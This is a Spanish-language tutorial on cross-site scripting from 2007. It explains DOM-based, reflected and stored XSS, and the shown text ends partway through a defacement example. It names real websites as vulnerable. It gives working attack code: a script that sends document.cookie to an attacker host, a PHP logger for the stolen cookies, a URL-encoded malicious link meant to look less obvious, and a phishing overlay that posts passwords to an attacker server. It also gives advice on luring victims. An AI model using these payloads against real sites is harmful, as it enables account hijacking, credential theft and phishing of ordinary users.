Cross Site Scripting

Por Trew

La vulnerabilidad estudiada a Fondo

25-02-2007

"Maybe you can't break the system,
But you can always hack it."

http://www.icenetx.net
http://trew.icenetx.net

Contacto:
trew.revolution@gmail.com

"Una vulnerabilidad es tan limitada como tu quieras que sea"

==========
Introducción:
==========

Cualquiera puede encontrar una gran cantidad de textos y manuales que traten sobre Cross Site Scripting. El problema es que la mayoría de esos textos no explican a fondo este tema. Mi objetivo con este texto es que el lector entienda a fondo este tipo de vulnerabilidad, que conozca y descubra varios métodos de ataque, y sepa como protegerse contra el Cross Site Scripting.

Para poder comprender este manual en su totalidad, el usuario debe de saber un poco de HTML, y de ser posible algo de JavaScript.

El Cross Site Scripting (XSS) es una vulnerabilidad muy común hoy en día, se puede encontrar en la mayoría de las aplicaciones web en Internet.
Mucha gente ve el XSS como una vulnerabilidad obsoleta, y con este manual voy a demostrar que si se sabe como explotar, puede ser de gran provecho. No por ser un fallo muy común deja de ser importante.

Este fallo compromete más que nada, la seguridad del usuario y no la del servidor. Consiste en inyectar código HTML o Javascript en una aplicación web, con el fin de que el navegador de un usuario ejecute el código inyectado al momento de ver la página alterada.
Comúnmente el XSS se utiliza para causar una acción indebida en el navegador de un usuario, pero dependiendo de la vulnerabilidad, puedes explotar el fallo para causar una acción indebida en un servidor o en una aplicación.

Esta limitación se debe a que el código HTML se interpreta en el navegador de un usuario y no en el servidor. Así que si alguien inyecta código HTML en alguna aplicación web no podría hacer daño alguno al servidor, ya que éste nunca interpreta el código HTML, solo los navegadores. Por eso este ataque se determina: “ataque del lado del cliente”.

El XSS se puede utilizar para hacer ***phishing***, robo de credenciales, troyanizar navegadores, o simplemente para hacer un deface. Todo depende de la página.

==========
¿Cómo sucede el XSS?
==========

Con este manual me iré desde lo más básico. En muchos textos de XSS que he visto dicen algo como:
"Ve a algún formulario de búsqueda de una web y pon: <script>alert();</script>, si sale una ventanita es vulnerable…"
Y entonces quien lee el manual, y no tiene idea de XSS, no entiende porque sucede ésto, y nunca podrá poder saltarse un filtro de XSS, y jamás podrá inyectar código fuera de un formulario. Explicaré la vulnerabilidad de modo que se entienda a fondo el por qué de ésta.

Lo primero que se debe lograr al querer explotar alguna aplicación con XSS, es inyectar código HTML a la web; es decir, lograr incluir HTML escrito por nosotros en el código fuente de la página.

Analizaremos el método más sencillo y popular: el del formulario de búsqueda xD.
Tomemos como ejemplo: http://www.pan.senado.gob.mx
Si vamos a la página, podemos ver en la parte izquierda superior, debajo del logo del pan, un pequeño campo de texto que dice "Búsqueda". Este es el campo vulnerable a inyección HTML.
A continuación, ponemos en el campo de búsqueda "rastan" xD, y le damos clic en buscar, esperamos a que se cargue la página y podemos observar el texto:

Resultados de buscar: rastan
No se encontraron resultados de Resultados de buscar: rastan
(¿No se encontraron resultados DE RESULTADOS? xD…)

Analizando este resultado (de resultado xD) podemos ver que la página probablemente es vulnerable a XSS. ¿Por qué? Miremos el código fuente:

```
<tr>
  <td width="100%" height="99%" class="TituloPag">
    Resultados de buscar: rastan                </td>
</tr>
```

La cadena 'rastan', que nosotros le dimos al servidor, es incluida en el código fuente de la página, mmm.. ¿y si le damos alguna otra cadena al servidor? ¿Qué tal si intentamos algo como: <h1>pricka</h1>? Probemos…

En el navegador:

Resultados de buscar:

pricka

</td

En el código fuente:

```
<tr>
  <td width="100%" … >
    Resultados de buscar: <h1>pricka</h1></td>
    </tr>
```

Genial, es vulnerable. El código que escribimos en el campo de búsqueda se incluyo en el código fuente de la página como si fuera parte de ésta, y nuestro navegador interpretó el código. Esto es Cross Site Scripting.

Otro modo de inyectar el código sería darle el valor de búsqueda a través de la URL:

http://www.pan.senado.gob.mx/resultados.php?txttexto=hola

En conclusión: la vulnerabilidad de XSS ocurre cuando la página permite al usuario incluir código en la página. ¿De qué nos sirve? Ahora veremos varios tipos de bugs, métodos de inyección y tipos de ataque.

Tipos de vulnerabilidades

Existen 3 tipos conocidos de Vulnerabilidades XSS.

- El ***tipo-0***, que se utiliza para ejecutar código remotamente con los permisos de otro usuario.
- El ***tipo-1***, ataque *no-persistente* o *reflejado* (explicado más adelante) utilizado en páginas no estáticas.
- Y el ***tipo-2***, ataque *persistente*, donde se inyecta código en páginas estáticas.

Estos tipos de vulnerabilidades son en los que se basan todos los demás ataques. Es importante que el lector analice estos tres tipos de ataques para identificar en que áreas son peligrosos, que se puede lograr con ellos, y como prevenirlos.

Tipo-0

Esta vulnerabilidad es conocida como: "DOM-Based cross-site-scripting" o "cross-site-scripting local".
Es un ataque poco usual y talvez algo complicado de explicar. No trataré esta vulnerabilidad a fondo, pero este manual hace un buen trabajo explicándola: **http://www.webappsec.org/projects/articles/071105.shtml**

La diferencia entre el tipo-0 y los otros tipos de ataque, es que el código se inyecta a través de la URL pero no se incluye en el código fuente de la página. Es decir, el código nunca llegó a la página, solo se ejecutó en el navegador.
Esto nos podría servir de modo que, le demos una URL maligna a alguna víctima que tenga alguna página hospedada en su máquina y, cuando la víctima le da la URL a su navegador el código se ejecuta en su navegador, dicho código podría realizar alguna acción en la página hospedada por la víctima, y como fue ejecutado en el navegador de la víctima también se ejecuta con los permisos que tiene la víctima en su máquina. Esto podría llevar a realizar alguna acción remotamente en la página de la víctima, como si este usuario las hubiera realizado.

De una forma a grandes rasgos: el tipo-0 ejecuta código remotamente en la máquina de un usuario con los permisos de este usuario.

Veamos un ejemplo de esta vulnerabilidad. Imaginemos que la siguiente página (**www.vulnerable.com/index.html**) tiene el siguiente código:

(NOTA: el siguiente ejemplo fue sacado del artículo enlazado anteriormente)

```
<HTML>
<TITLE>Bienvenido!</TITLE>
Hola
<SCRIPT>
var pos=document.URL.indexOf("nombre=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Bienvenido a nuestra página
…
</HTML>
```

La página anterior se utilizaría para darle la bienvenida a algún usuario por su nombre, ejemplo:
http://vulnerable.com/index.html?nombre=piupert
Esto mostraría algo como: "Hola piupert Bienvenido a nuestra página"

De cualquier modo, una petición del siguiente modo:
http://vulnerable.com/index.html?nombre=<script>alert();</script>
Daría resultado a un XSS. Veamos por qué:

El navegador de la víctima visita el enlace, hace una petición HTTP a vulnerable.com y recibe la página index.html. Después el navegador empieza a interpretar el HTML de la página y forma la estructura del

documento. El documento contiene un objeto llamado 'document', que contiene una propiedad llamada 'URL', y esta propiedad es remplazada por la URL de la página actual, como parte de la estructura del documento. Cuando el intérprete llega al código Javascript lo ejecuta y modifica el HTML en bruto. En este caso, el código hace referencia a 'document.URL', y entonces, esta cadena es incluida en el HTML al momento de interpretar el código, después es inmediatamente interpretada y ejecutada en el contexto de la misma página, por lo tanto la condición XSS.

> **Nota:**
> La inyección maligna nunca fue incluida en el HTML en bruto (en cambio a los otros tipos de XSS).
> Este ataque solo funciona si el navegador no modifica los parámetros de la URL. (Ejemplo: '<' ➔ '%3C').

En el ejemplo anterior todavía se puede discutir que la inyección si llegó al servidor (en el '?nombre=' de la petición HTTP), y por lo tanto puede ser detectado como cualquier ataque XSS. Pero aún así esto podemos arreglarlo. Consideren el siguiente ataque:

http://vulnerable.com/index.html#name=<script>alert();</script>

La almohadilla (#) le dice al navegador que todo lo que va después de ella es un fragmento, y no parte de la petición. Los navegadores no mandan los fragmentos al servidor, así que el servidor solamente vería: http://vulnerable.com/index.html, logrando que ni el servidor vea la inyección, esta técnica de evasión evita que los navegadores envíen la inyección al servidor.

Lo que realizan muchas aplicaciones web para evitar inyecciones al servidor, es utilizar funciones que analizan todos los datos que manda el navegador con el fin de que si se encuentra alguna inyección, se elimine. Este método de protección es inefectivo contra este tipo de ataques, porque si los datos nunca llegan al servidor estos no pueden ser analizados.

Así se logra el XSS tipo-0. El navegador ejecuta código localmente, código que el servidor no incrustó en una página, sino que el navegador incrustó el mismo. Así si la víctima tiene una página vulnerable en su máquina (o en otro servidor), puedes realizar acciones remotamente como si las hubiera hecho otro usuario.

Escenario de ataque tipo-0

Veamos el siguiente ejemplo. La víctima tiene un blog en http://victima.blog.com. El blog utiliza cookies, por lo tanto siempre que la víctima entra a su blog ya se encuentra iniciado en su cuenta de administrador.
Cuando la víctima deja comentarios en el blog hace una petición así:

http://victima.blog.com/comment.php?nick=admin&comment=comentario

El atacante envía la siguiente URL maliciosa a la víctima:

http://vulnerable.com/index.html#name=<script>window.location='http://victima.blog.com/comment.php?nick=admin&comment=Hacked_by_Atacante

La víctima hace clic en el link, su navegador ejecuta el script y redirecciona al blog de la víctima dejando un comentario. La acción al ser ejecutada en la máquina de la víctima se realiza con los permisos que tiene la víctima sobre su blog (administrador), y deja el comentario.

Al principio puede sonar inefectivo o riesgoso tener que mandar un link a la víctima. Más adelante voy a dedicar una parte del manual para poder explicar varias formas de hacer esto. Obviamente, nunca va a ser 100% seguro que la víctima caiga en nuestra trampa, pero es algo que tenemos que saber hacer ya que los ataques tipo-0 y tipo-1 emplean estos tipos de ataque.

Esta es la razón por la que la gente suele ver el XSS como un ataque muy limitado, para esas personas: piénsenlo dos veces. El único límite que tenga este ataque será el que tu le pongas, si se sabe aprovechar el XSS de forma correcta puede ser un ataque peligroso.

Con esto termino de explicar el cross-site-scripting tipo-0, espero haber hecho un buen trabajo explicándolo. Y cualquier duda anteriormente les dejé un link de referencia que utilicé para explicar esto. También cualquier duda o comentario se pueden poner en contacto conmigo, o dejarlo escrito en mi blog.

Tipo-1

Es probablemente la vulnerabilidad más común que hay, por lo usual se encuentra en motores de búsqueda. El tipo-1 es una vulnerabilidad *no-persistente* o *reflejada*.

Este agujero de seguridad sucede cuando un servidor genera una página instantánea de resultados de acuerdo a información proporcionada por el navegador (ejemplo: una búsqueda). Si los datos proporcionados por el navegador no son validados y se incluyen en el código fuente de la página, hay XSS.

El cross-site-scripting tipo-1 tampoco parece ser un problema de seguridad muy serio, ya que la inyección solo se puede realizar en páginas no estáticas. Pero como ya he dicho antes, si se sabe aprovechar la vulnerabilidad le puedes dar gran utilidad. Con un poco de ingeniería social un atacante puede lograr que un usuario entre a una página que contiene código inyectado.

Ya que para realizar este tipo de ataques se requiere ingeniería social, muchos programadores no le dan importancia a este bug, GRAVE ERROR. Cualquier aplicación que le permita a un usuario inyectar código en la página (sea cual sea), compromete la seguridad tanto del sitio como de sus usuarios. El XSS es una vulnerabilidad y debe ser tomada como tal, se puede explotar y ser usada para malos fines. Cualquier programador que quiera tener programación segura debe considerar todas las posibilidades de violación.

El tipo-1 es una vulnerabilidad no-persistente porque la página con la inyección no es una página que verán todos los usuarios. Tampoco es una página que existe o se mantiene en el servidor (página estática), sólo se genera cuando un usuario proporciona cierta información a alguna aplicación.

Se llama vulnerabilidad reflejada porque para realizar un ataque, el código inyectado primero pasa del navegador al servidor, y luego del servidor a otro navegador; como si fuera un reflejo.

La preparación del ataque es muy sencillo. Se debe identificar la variable vulnerable a inyección de código en la página, y formar una URL maligna.

Escenario de ataque tipo-1

Tomemos como ejemplo http://www.pan.senado.gob.mx. La página web cuenta con una aplicación en la que los usuarios pueden ingresar a su cuenta (esquina derecha superior). Y como ya vimos antes, tiene una aplicación de búsqueda vulnerable a inyección de código:

http://www.pan.senado.gob.mx/resultados.php?txttexto=

El atacante identifica a su víctima. La víctima tiene una cuenta en la web vulnerable: victima@pan.senado.gob.mx. Después el atacante forma una URL maligna, en la que inyecta código para guardar la cookie del usuario en su servidor.

http://www.pan.senado.gob.mx/resultados.php?txttexto=<script>window.location='http://atacante.com/xss.php?cookie='+document.cookie</script>

El link es enviado y se convence a la víctima que visite la página. La víctima visita la página, su navegador envía su cookie al servidor del atacante permitiéndole acceder en la cuenta de la víctima.

Muy bien, talvez estés pensando: "¿Qué estúpido va a dar clic en un link así?". Jajaja, más tarde explicaré este método de ataque más a fondo, mostrando como hacer el ataque un poco menos obvio.

Comparando el ataque tipo-0 al tipo-1, nos podemos dar cuenta de una diferencia muy grande. En el tipo-1 el servidor procesa la inyección enviada por el usuario y la incluye en el código de la página. Pero en el tipo-0 la inyección nunca llega al servidor, no es un ataque tipo reflejo como el tipo-1. La información sale del navegador y entra al navegador. La similitud entre el tipo-0 y el tipo-1 puede variar muy poco, pero estos pequeños aspectos pueden marcar la diferencia de un ataque a otro. Es importante que un atacante o un programador se ponga a analizar ambas vulnerabilidades, a tomar en cuenta las maneras en las que pueden ser explotadas.

La inyección a una página web se puede realizar de varias maneras, no nos debemos de limitar a pasar parámetros por la URL. Habrá veces en las que tendremos que analizar una aplicación web más a fondo para encontrar algún bug de este tipo. Más adelante explicaré los métodos que he usado, y las utilidades que se le pueden dar al bug.

Tipo-2

Esta vulnerabilidad permite hacer los ataques más peligrosos y poderosos a las aplicaciones web. Es conocida como vulnerabilidad *persistente* o *almacenada*.

La diferencia de este cross-site-scripting a los anteriores, es que la inyección se hace en una página estática. La información proporcionada por el usuario es almacenada en la base de datos, en el sistema de archivos o algún otro lugar; después es mostrada a otros usuarios que visiten la página, por eso se dice que la vulnerabilidad "persiste".

Esto es lo poderoso del tipo-2, la inyección se quedará siempre en alguna parte de la web, no estará en una página que se genera cada vez que se pasa información al servidor.

Las posibilidades de esta vulnerabilidad son muy amplias. Se puede realizar desde un robo de cookies o troyanización de navegadores masivos, hasta un deface de la página.

Encontrar este tipo de aplicaciones vulnerables a inyección es difícil, y se tienen que buscar métodos para evadir los sistemas de validación; esto lo explicaremos más tarde.

Un ejemplo típico de este tipo de vulnerabilidades son los foros de discusión, los libros de visita o los tagboards. Si se logra inyectar código en un mensaje de estos sistemas, todos los usuarios que carguen la página con el mensaje son afectados al fallo.

Escenario de ataque tipo-2

El atacante descubre como inyectar código en un foro de discusión de la web http://vulnerable.com. Las posibilidades que puede realizar son varias:

- Inyectar código que robe las cookies de todos los usuarios que lean el mensaje. Obteniendo un gran número de cuentas en el foro.
- Inyectar código que redireccione la página a una página externa, logrando hacer un deface.
- Troyanizar un gran número de navegadores de usuarios.

En el caso 1, el atacante obtendría acceso a la mayoría de las cuentas del foro (incluyendo la del administrador), ingresando como ellos teniendo privilegios importantes sobre el foro.

En el caso 2 el atacante realizaría un deface a la página, haciendo que alguna página externa aparezca en el documento.

En el caso 3 el atacante tomaría un control remoto sobre muchos navegadores aprovechándose de ellos para ejecutar comandos remotamente.

Métodos de inyección y tipos de ataques

Lógicamente antes de realizar un ataque XSS a una web debemos de descubrir si la web es vulnerable. Para identificar el bug no nos debemos limitar a formularios de búsqueda. Existen varios métodos de inyectar código en una aplicación que suelen ir más allá de los formularios.

El XSS es una forma especial de ataque contra la validación de los parámetros de entrada. La diferencia principal entre un ataque XSS y algún otro ataque de inyección (SQL por ejemplo) es que el objetivo en este caso suelen ser los usuarios de la aplicación, más que la propia aplicación. Por ejemplo, en un ataque por inyección SQL se intentará acceder o modificar datos de la base de datos de la aplicación, mientras que en un ataque XSS se introducirá un troyano en el navegador web de la víctima (por troyano me refiero a una aplicación que se ejecutará en el navegador sin que el usuario sea consciente de ello). Este troyano puede ser hecho en lenguajes que se ejecutan de la parte del cliente, como por ejemplo JavaScript.

Los ataques XSS tampoco se limitan al robo de cookies, como ya he dicho antes, el ataque puede variar dependiendo de cada situación. Se puede aprovechar alguna vulnerabilidad conocida del navegador (acceso arbitrario de ficheros, manipulación de cookies, o algo parecido) para tener un mayor control sobre la máquina, y no solamente, el navegador de la víctima.

Siendo el XSS un ataque contra la validación de entradas, para encontrar bugs en un sistema, debemos identificar todas las aplicaciones que reciban datos del usuario de todas las maneras posibles.

Inyección a un formulario

El ataque más sencillo es la inyección al formulario que genera una página a partir de la entrada del usuario. Anteriormente vimos un ejemplo de este tipo de ataque.

El ataque consiste en inyectar código en un formulario que después de enviar la información al servidor, será incluido en el código fuente de alguna página, ya sea *persistente* o *no-persistente*. Después lograr que de alguna forma (dependiendo si la página con la inyección es persiste o no-persistente) que el usuario vea la página con la inyección. Existen filtros que validan los campos de entrada del formulario para identificar inyecciones y eliminarlas. No obstante, no todos los campos son filtrados, por eso se debe de tratar hacer inyección por todos los campos posibles. Más adelante trataremos el tema de los filtros.

Inyección por medio de elementos

No siempre que el navegador envíe datos al servidor lo va a realizar por medio de un formulario. También debemos tomar en cuenta y hacer búsqueda de elementos. Un elemento podrá ser cualquier valor establecido por el usuario o por la aplicación y que viaja entre el navegador y la aplicación.

Veamos el siguiente ejemplo estudiando una vulnerabilidad de la famosa web de imágenes: **http://my.imageshack.us/**

En la página de registro, podemos estudiar el siguiente elemento en los parámetros de la URL:

http://my.images.hack/registration/index.php?user=wawa

```
<td>
   <input type="text" name="user" id="user" value="wawa"
style="width:300px;" maxlength="16" onkeydown="if(event.keyCode==13)
do_register();"/>
                                          </td>
```

Si accedemos a esta página podremos ver como la cadena 'wawa' aparece en una caja de texto. Si la aplicación inserta datos introducidos por el usuario en el código de la página, podemos encontrar una forma de vulnerar la aplicación para inyectar código.

Intentemos con user= <script>alert();</script> :

```
<input type="text" name="user" id="user"
value="<script>alert();</script>" ..>
```

El código está en la página, sin embargo como se encuentra dentro de los atributos de otra etiqueta no funciona correctamente. Pero aquí entra lo interesante de la inyección: trataremos de inyectar código de modo que el script quede afuera de la etiqueta 'input'.

Vamos de nuevo… user= "><script>alert();</script>
Y el resultado en el código es este:

```
<input type="text" name="user" id="user"
value=""><script>alert('x');</script><" style="width:300px;"
maxlength="16" onkeydown="if(event.keyCode==13) do_register();"/>
```

Et voilà! Podemos ver como se mostró la alerta. Si analizamos la inyección podemos ver como comenzamos con comillas y después abrimos la etiqueta, cuando el servidor inserta esto en la página la etiqueta input es cerrada porque la inyección comienza con : "><

```
<input type="text" name="user" id="user" value="">
```

Así cerramos la etiqueta y después se incrusta el resto del código, logrando que el navegador interprete el código de la forma deseada.

En el ejemplo pasado vimos 2 cosas: la inyección por medio de elementos y la ruptura de etiquetas.

Para reafirmar las cosas, aquí hay un pequeño reto. Encontrar la forma de inyectar código a la conocida página de búsqueda de imágenes: iStockphoto. La URL a la que le debes de realizar la inyección es la siguiente:

http://www.istockphoto.com/file_search.php?action=file&text=

Solución:

Antes que nada debemos identificar por medio de qué elemento vamos a realizar la inyección, eso está claro, la variable 'text'. Si intentamos inyectar '<script>alert('realizado');</script>' el código no se ejecuta.

Si ahora tratamos de inyectar: "><script>alert('realizado');</script> El código es ejecutado por la ruptura de etiqueta que hacemos con el ">.

También podrás haber notado que cuando envías algo por el campo de búsqueda, los datos se envían a través de la variable 'text'. Viéndolo desde este punto la inyección no es concretamente una inyección por medio de elementos ya que también se pueden enviar los datos a través de un formulario. Lo correcto es que la inyección debe ser hecha por medio de elementos para que funcione. Si envías los datos desde el formulario, la cadena es codificada. Y pasaría de ser

"><script>alert();</script>, a
%22%3E%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E.

Si la cadena codificada se incrusta al código, la inyección ya no funciona, por eso esto debe ser una inyección por medio de elementos.

Inyección por medio de recursos

Ahora estudiaremos los métodos de entrada alternativos, fuera de formularios y parámetros de URL. Sería bastante difícil poder enlistar todos los métodos aquí, ya que, además de que son muchos los métodos conocidos, el método puede variar de aplicación a aplicación.

Aparte de los elementos en la URL y los formularios, hay otra forma en la que los datos también se transfieren: Las cabeceras HTTP. Estas cabeceras son mensajes con los que se comunican el navegador y el servidor, utilizados para especificar información del cliente/servidor y para enviar información. Si me pongo a explicar todo acerca de las cabeceras me saldré mucho del tema, pero les recomiendo leer un artículo que escribí sobre esto, lo pueden encontrar en la sección de tutoriales de ICENetX: **http://icenetx.net/?contenido=tutoriales**

Las cabeceras envían varios datos al navegador, ¿cómo saber que mensajes utilizaremos para inyectar código?, todo puede variar. Analicemos una aplicación vulnerable a inyección por medio de cookies.

Por si hay alguien que no sabe como funcionan las cookies, haré una breve explicación.
Cuando entras a alguna página web en donde tienes la posibilidad de ver información personalizada, a menudo tienes que dar primero tu nombre de usuario y contraseña para poder ver esta información. Seguramente has notado como hay casos en los que al momento de entrar a una página web, ya te encuentras iniciado en tu sesión sin la necesidad de haber proporcionado tus datos a la aplicación, esto es por el uso de cookies. Una cookie es un archivo que contiene varios datos sobre un usuario, como nombres de usuario, la última vez que iniciaste sesión, etc. Las cookies las manda el servidor al navegador del usuario, y luego el navegador las registra en alguna parte de la máquina del usuario. Al momento de entrar a una página, la aplicación busca en el navegador del usuario cookies que la aplicación le haya dado.
En el caso del inicio de sesión automático, al momento de proporcionar tu nombre de usuario y contraseña a la aplicación, ésta guarda los valores en una cookie (cifrados, por supuesto) y después el navegador los guarda. Cuando el navegador vuelve a visitar la página, la aplicación busca cookies que hayan sido guardadas y encuentra la cookie con el nombre de usuario y contraseña cifrados. Entonces la aplicación descifra los datos y los procesa. Así funciona el manejo de cookies, y el inicio de sesión automático.

Veamos el caso de un tagboard vulnerable. Al momento de que tu dejas un comentario con tu nick en el tagboard, el tagboard guarda una cookie en tu navegador con el valor de tu nick. Cuando vuelves a dejar un comentario ya no es necesario proporcionarle tu nick al tagboard, puesto que la aplicación lo extrae desde tu cookie, lo almacena en la variable $usuario, y luego lo imprime en el tagboard de la siguiente manera:

```
echo "<b>Comentario por: <i>$usuario</i></b><br />"
```

Se puede suponer que el tagboard es vulnerable, porque generalmente la información recibida por medio de la cookie no es filtrada. Si dejamos un comentario en el tagboard, y realizamos un ataque MitM (Man-in-the-Middle) podemos interceptar las cabeceras del navegador y cambiar el valor de usuario en la cookie, por algo así:

```
usuario=<script>alert('Vulnerable');</script>;
```

Cuando la variable $usuario, sea sustituida en el código PHP, el código quedará así:

```
<b>Comentario por: <i><script>alert('Vulnerable');</script></i></b>
```

El navegador al interpretar el código de la página, dará como resultado un XSS. De esta manera inyectamos código en la página de una manera que va fuera de los formularios y los elementos.

Otra manera de inyectar código podría ser utilizando el campo "Referer", o los campos de IP que se envían en las cabeceras de una petición. Para conocer por que medios se puede realizar una inyección a una aplicación, se debe de estudiar y analizar la aplicación para encontrar alguna forma de vulnerarla. Un programador seguro valida todos los campos de entrada, en los que una inyección de código puede ser efectuada.

También existe otro tipo de inyecciones muy populares. Este tipo de ataques consiste en inyectar código en una aplicación Flash, o en un Video. Cualquiera que tenga conocimientos de Flash y ActionScript, puede hacer una aplicación .swf que ejecute scripts al ser ejecutada. Después se puede encontrar la forma de subir o mostrar esta animación en una página como MySpace o Hi5, para que al momento que otro usuarios carguen la página junto con el flash, ejecuten el script.

También hay una vulnerabilidad que está haciendo de MySpace toda una arena de juego xD. La vulnerabilidad consiste en inyectar código Javascript en videos quicktime, y estos videos pueden ser incrustados en páginas como MySpace. Así que al igual con el flash, cuando el video es cargado por un navegador, el script es ejecutado y esto da resultado a un XSS. Son varias las maneras en las que se pueden realizar las inyecciones, a continuación dejo un video sobre la inyección de Javascript en videos quicktime: *(XSS injection in image formats // Taking advantages on it)*

http://www.milw0rm.com/video/

Siempre habrán nuevos métodos de inyección de código a aplicaciones web, lo importante es entender como funcionan estas inyecciones. Ahora trataremos las posibilidades que se nos abren al encontrar una vulnerabilidad de Cross Site Scripting.

Ataque Credential Theft:

El ataque "Credential Theft" o de "Robo de credencial" consiste en robar los métodos de autentificación de un usuario para una página, para poder ingresar a su cuenta sin la necesidad de saber su contraseña. Este ataque es probablemente el más conocido y más aplicado hablando de vulnerabilidades XSS, y se pueden encontrar una infinidad de textos sobre esto, aún así explicaré el ataque.

Una credencial de cualquier recurso de información que utilice una máquina para autentificarse ante una aplicación, sin la necesidad de que el usuario la proporcione. Anteriormente vimos que eran las cookies, como funcionaban, y como se lograba el inicio de sesión automático en aplicaciones web. En este caso la cookie es una credencial.

Si podemos robar la credencial de otro usuario, y cambiar el valor de ésta por el valor de nuestra credencial, al momento de presentar nuestra credencial ante la aplicación ingresaríamos como el otro usuario. Así es como se logra un robo de credencial o "falsificación de sesión". El XSS es un método de robar credenciales.

Ya hemos visto en un caso anterior, un ejemplo de robo de cookies a un usuario, ahora es momento de analizar el ataque a fondo.
En Javascript, hay una variable predefinida llamada 'document.cookie', esta variable contiene el valor de la cookie de la sesión actual. Podemos sacar ventaja de esto para enviar el valor de una cookie de una página a otra. Tomaré el ejemplo de la vulnerabilidad que encontré en la página de postales electrónicas: **http://www.gusanito.com**. Puedes ver el aviso sobre esta vulnerabilidad en **http://trew.icenetx.net/p**=11

Resulta que el campo en donde se escribe el mensaje de la postal es vulnerable e XSS. Por lo que podemos inyectar código en la postal, enviarla por correo a una víctima, y al momento que el navegador de la víctima vea la postal ejecutará el código que nosotros inyectamos.

Primero que nada, el atacante programará una aplicación que guarda el valor de la cookie en un fichero. El código del programa puede ser así:

```
<?
$cookie = $_GET['cookie'];
$fichero = fopen("cookies.txt","a");
fwrite($fichero, "$cookie \n");
fclose($fichero);
?>
```

El atacante guarda el código en **http://atacante.com/robo.php**. Esta aplicación recibe una variable 'cookie' por medio de la URL **http://atacante.com/robo.php?cookie=valor_de_cookie**, y luego la guarda en un archivo. Ahora en la postal podemos inyectar esto en el mensaje:

```
<script>
window.location='http://atacante.com/robo.php?cookie='+document.cookie;
</script>
```

La orden 'window.location' redirecciona el navegador a la URL especificada. También podemos darnos cuenta de que la variable 'document.cookie' es incluida en la URL por medio del operador '+'. Este operador añadirá el valor de document.cookie a la URL, y el navegador será redireccionado a la siguiente dirección:

http://atacante.com/robo.php?cookie=cookie_del_usuario

Después el programa 'robo.php' almacenará el valor de la cookie en el archivo cookies.txt. Más tarde el atacante podrá ver el valor de la cookie de la víctima, y acceder a la cuenta del usuario sin necesidad de saber su contraseña, remplazando el valor de la cookie de la víctima por el valor de su cookie.

Este ataque es sólo un ejemplo, se puede arreglar más para que sea menos sospechoso.

Como la postal enviada al usuario es una página estática, ahora veremos como hacer esto con una vulnerabilidad en una página no estática. Veamos el ejemplo estudiado anteriormente de la web http://www.pan.senado.gob.mx, donde la aplicación de búsqueda es vulnerable a XSS. Si la variable txttexto es vulnerable a inyección, podemos formar la siguiente URL maligna:

```
http://www.pan.senado.gob.mx/resultados.php?txttexto=<script>window.loc
ation='http://atacante.com/robo.php?cookie='+document.cookie;</script>
```

Si enviamos esta URL a una víctima que tenga una cuenta en la página, y logramos que de clic en el enlace, cuando entre a la página el código será incrustado en la página y posteriormente ejecutado. Causando que la página redireccione al navegador al programa del atacante enviando el valor de su cookie.

Se puede codificar la URL para que se vea menos obvia, y quedará del siguiente modo:

```
http%3A//www.pan.senado.gob.mx/resultados.php%3Ftxttexto%3D%3Cscript%3E
window.location%3D%u2019http%3A//atacante.com/robo.php%3Fcookie%3D%u201
9+document.cookie%3B%3C/script%3E
```

Puedes encontrar un codificar de URL en la siguiente página:

http://www.neosecurityteam.net/encode/

Esto fue el ataque de robo de credencial. Yo creo que es el ataque más explotado en cuestión de ataques XSS, donde el principal objetivo del ataque es el usuario de una página. Los administradores pueden

identificar esta ataque porque tienen más conocimientos sobre esto, pero los usuarios normales son totalmente vulnerables a estos ataques. Aún así hay “administradores” que… bueno, ni hablar xD. Nunca descartes la posibilidad de sacarle ventaja a este ataque. Y si realizas el ataque por un método parecido al de las postales, haciendo inyección en páginas estáticas, el ataque será mucho más difícil de identificar porque el script maligno no se ve en la URL.

Ataque phishing:

Este ataque es uno muy divertido. El phishing es crear un clon de una página, y hacerle creer a una víctima que navega en la página original cuando en realidad está navegando en la página falsa. Una vez que el usuario se encuentre en esa página, se le pide información de su cuenta, como nombres de usuario y contraseñas; toda esta información es almacenada para que después el atacante recolecte la información.

El ataque trabaja básicamente de la siguiente forma: el atacante encuentra un bug de XSS en una página (sea estática o no-estática) e inyecta código que redirecciones el navegador hacia otra página, exactamente igual a la original. Luego el atacante logra de alguna manera que la víctima vea la página con la inyección, y al momento que su navegador sea redireccionado la víctima pensará que se encuentra navegando en la página original de forma segura.

La inyección se puede lograr de varias maneras. Una forma es redireccionar el navegador con la función 'window.location' hacia otro sitio:

```
<script>window.location='http://sitio-falso.com/';</script>
```

Otro método sería crear una capa de un tamaño grande, de modo que cubra el contenido original de la página:

```
<div id=layer1 style="position:absolute; top:0; left:0; width:1000; height:900; z-index:1; background-color:#000000;"><center><h1>LOGIN PAGE</h1><BR><form action="http://servidor-atacante.com/login.php" method="post>Contraseña:<input type="password"><input type="submit"></form><center></div>
```

La etiqueta div crea una capa que cubre toda la página, y esta capa contiene el contenido falso que pide la contraseña del usuario y lo envía hacia nuestro servidor.

La forma de hacer que la víctima vea la página falsa puede variar mucho, también se puede llamar a una página por medio de un frame gigante.

Para hacer el clon de la página no se requiere mucho esfuerzo, basta con copiar todo el código fuente de la página original y modificarlo un poco para que se vean todas las imágenes, y por supuesto, para que todos los datos que envía la página sean enviados al servidor del atacante en vez del servidor original. Luego en el servidor de la página el atacante posee un programa que almacena todos los datos recibidos.

El XSS es solo una de las varias maneras que hay para hacer phishing, debido a su variedad y extensión no hablaré a fondo de el ataque, pero puedes encontrar una gran cantidad de información en Internet.

Ataque tipo deface

Y como habíamos dicho antes, el XSS no se puede utilizar para dañar un servidor, pero eso no significa que no podamos hacer un deface. Si una página estática es vulnerable a XSS, significa que también es vulnerable para un deface. Este tipo de deface es muy fácil, y muchas personas lo consideran algo lammer, pero lo explicaré de todas formas.

El primero objetivo es identificar un área donde poder hacer inyección, y después inyectar código que mueva el navegador hacia otra página, o inyectar un div que cubra el contenido de toda la página. ¿Sencillo no?

Veamos el siguiente ejemplo. Tenemos un sitio web que en la página principal, tiene una lista "select" que contiene todas las secciones de la web. El código fuente es algo así:

```
<select>
<option>Home</option>
<option>Gallery</option>
<option>Links</option>
<option>Contact</option>
</select>
```

Supongamos que por medio de exploración de directorios, encontraste una página que utiliza el administrador para añadir nuevas secciones a la web. Dicha aplicación contiene un campo de texto donde el administrador ingresa el nombre de la nueva sección. Entonces tu creas una nueva sección con el nombre 'pricka', envías el formulario y cuando vemos el código de la página principal observamos esto:

```
<select>
<option>Home</option>
<option>Gallery</option>
<option>Links</option>
<option>Contact</option>
<option>pricka</option>
</select>
```

